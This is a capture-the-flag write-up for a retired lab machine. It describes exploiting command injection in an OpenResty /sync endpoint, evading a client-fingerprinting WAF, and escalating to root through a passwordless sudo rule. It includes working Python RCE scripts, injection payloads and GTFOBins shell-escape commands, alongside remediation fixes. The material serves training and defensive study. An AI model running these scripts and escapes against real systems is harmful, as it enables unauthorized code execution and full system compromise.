FluxCapacitor
Summary
Target $TARGET (FluxCapacitor, Linux Medium) exposed a single HTTP service: OpenResty 1.13.6.1 fronted by a custom SuperWAF. The site homepage's HTML source contained a comment pointing to a /sync AJAX endpoint whose opt query parameter was concatenated unsanitized into a shell command inside the Lua handler.
Standard HTTP clients (curl, Python requests) triggered blanket 403 blocks, but the WAF was fingerprinting the HTTP client stack rather than inspecting payload content: sending an identical injection over a raw TCP socket with a benign User-Agent bypassed all blocking and achieved unauthenticated remote code execution as nobody — the web-worker account. Running sudo -l through the same RCE channel revealed a NOPASSWD sudo rule granting nobody the ability to run a GTFOBins-capable binary as root with no password; piping base64-encoded commands through that binary via the existing channel produced uid=0(root) execution and both flags were captured.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -p- --min-rate 2500 -T4 --open $TARGETExact commands 4
echo "$TARGET fluxcapacitor.htb" | sudo tee -a /etc/hostscurl -sSikL --max-time 20 http://$TARGET/curl -sSik --max-time 15 -H 'Host: fluxcapacitor.htb' "http://$TARGET/sync?opt=index"curl -sSik --max-time 15 -H 'Host: fluxcapacitor.htb' "http://$TARGET/sync?opt=;id"Exact commands 2
cat > /tmp/rce.py << 'PYEOF'
import socket, sys
HOST = "$TARGET"
def rce(cmd):
req = (
f"GET /sync?opt=' {cmd}' HTTP/1.1\r\n"
f"Host: fluxcapacitor.htb\r\n"
f"User-Agent: nothingtoseehere\r\n"
f"Connection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, 80), timeout=8)
s.sendall(req)
data = b''
while True:
b = s.recv(4096)
if not b:
break
data += b
s.close()
return data.split(b'\r\n\r\n', 1)[-1].decode(errors='replace')
if __name__ == '__main__':
print(rce(' '.join(sys.argv[1:])))
PYEOFpython3 /tmp/rce.py /usr/bin/idFixReplace HTTP client-fingerprint WAF rules with content-based payload inspection applied to every requestHigh
Exact commands 2
python3 /tmp/rce.py 'find / -name user.txt 2>/dev/null'python3 /tmp/rce.py 'cat /home/nobody/user.txt'FixEliminate OS command injection in the /sync Lua handler by removing shell-exec concatenationCritical
Exact commands 1
python3 /tmp/rce.py 'sudo -l'Exact commands 2
cat > /tmp/rce_root.py << 'PYEOF'
import socket, base64
HOST = "$TARGET"
SUDO_BIN = '<NOPASSWD_BINARY_FROM_SUDO_L>'
def rce(cmd):
req = (
f"GET /sync?opt=' {cmd}' HTTP/1.1\r\n"
f"Host: fluxcapacitor.htb\r\n"
f"User-Agent: nothingtoseehere\r\n"
f"Connection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, 80), timeout=8)
s.sendall(req)
data = b''
while True:
b = s.recv(8192)
if not b:
break
data += b
s.close()
return data.split(b'\r\n\r\n', 1)[-1].decode(errors='replace')
for cmd in ['id', 'cat /root/root.txt']:
b64 = base64.b64encode(cmd.encode()).decode()
print(rce(f'echo {b64}|base64 -d|sudo {SUDO_BIN}'))
PYEOFpython3 /tmp/rce_root.pyFixRemove the passwordless sudo rule granting the web-worker account root-level binary executionCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 80/tcp | http OpenResty/1.13.6.1 (SuperWAF) |